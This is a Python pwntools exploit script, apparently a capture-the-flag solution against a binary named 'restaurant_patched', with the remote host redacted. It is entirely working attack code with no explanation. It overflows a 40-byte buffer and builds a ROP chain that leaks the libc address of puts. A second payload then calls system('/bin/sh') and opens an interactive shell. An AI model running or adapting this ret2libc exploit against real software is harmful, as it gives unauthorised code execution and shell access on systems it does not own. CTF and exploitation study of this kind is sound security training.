#!/usr/bin/env python3

from pwn import *

from pwn import *
from pwn import ROP
from pwn import gdb
import sys

elf = ELF("./restaurant_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.27.so", checksec=False)
context.binary = elf
rop = ROP(elf)

MAIN = p64(elf.symbols['main'])
PUTS_P = p64(elf.plt['puts'])
PUTS_G = p64(elf.got['puts'])
POP_RDI = p64((rop.find_gadget(['pop rdi', 'ret']))[0])
PUTS_OFFSET = libc.symbols['_IO_puts']
SYSTEM_OFFSET = libc.symbols['system']
BIN_SH_OFFSET = next(libc.search(b'/bin/sh'))

def conn():
    r = ""
    if len(sys.argv) > 1:
        r = process([elf.path])
    else:
        r = remote("#######", ####)
    return r

def debug(_process):
    context.terminal = ["konsole"] # f*cking KDE man ... 
    gdb.attach(_process, 'b * main')

def read_menu(_process):
    read = _process.recvuntil(b"> ")
    print("\tRead menu ...")

def read_fill(_process):
    _process.sendline(b"1")
    read = _process.recvuntil(b"> ")
    print("\tRead fill menu ...")

def send_payload(_process, pop_rdi, arg, adress):
    
    padding = 40*b"A" 
    payload = padding

    payload += pop_rdi
    payload += arg
    payload += adress
    payload += p64(0x0000000000400f68) # main

    _process.sendline(payload)

    print("\tSent payload ...")

def get_function_addr(_process):
    
    _process.recvline()
    
    received = _process.recvline()
    puts_addres = received.strip()[-6:] + b"\x00\x00"
    ret = int.from_bytes(puts_addres, 'little')

    return ret

def send_payload2(_process, bin_sh, system):
    
    padding = 40*b"A" 
    payload = padding

    payload += POP_RDI
    payload += bin_sh
    payload += p64(0x400f67) # RET
    payload += system
    payload += p64(0x0000000000401025) # main

    _process.sendline(payload)

    print("\tSent payload2 ...")

def main():

    print(" ")

    p = conn()
    read_menu(p)
    read_fill(p)

    send_payload(p, POP_RDI, PUTS_G, PUTS_P)

    puts_address = get_function_addr(p)

    system = puts_address - PUTS_OFFSET + SYSTEM_OFFSET 
    bin_sh = puts_address - PUTS_OFFSET + BIN_SH_OFFSET

    read_menu(p)
    read_fill(p)
    send_payload2(p, p64(bin_sh), p64(system))

    print(" ")
    
    p.interactive()

if __name__ == "__main__":
    main()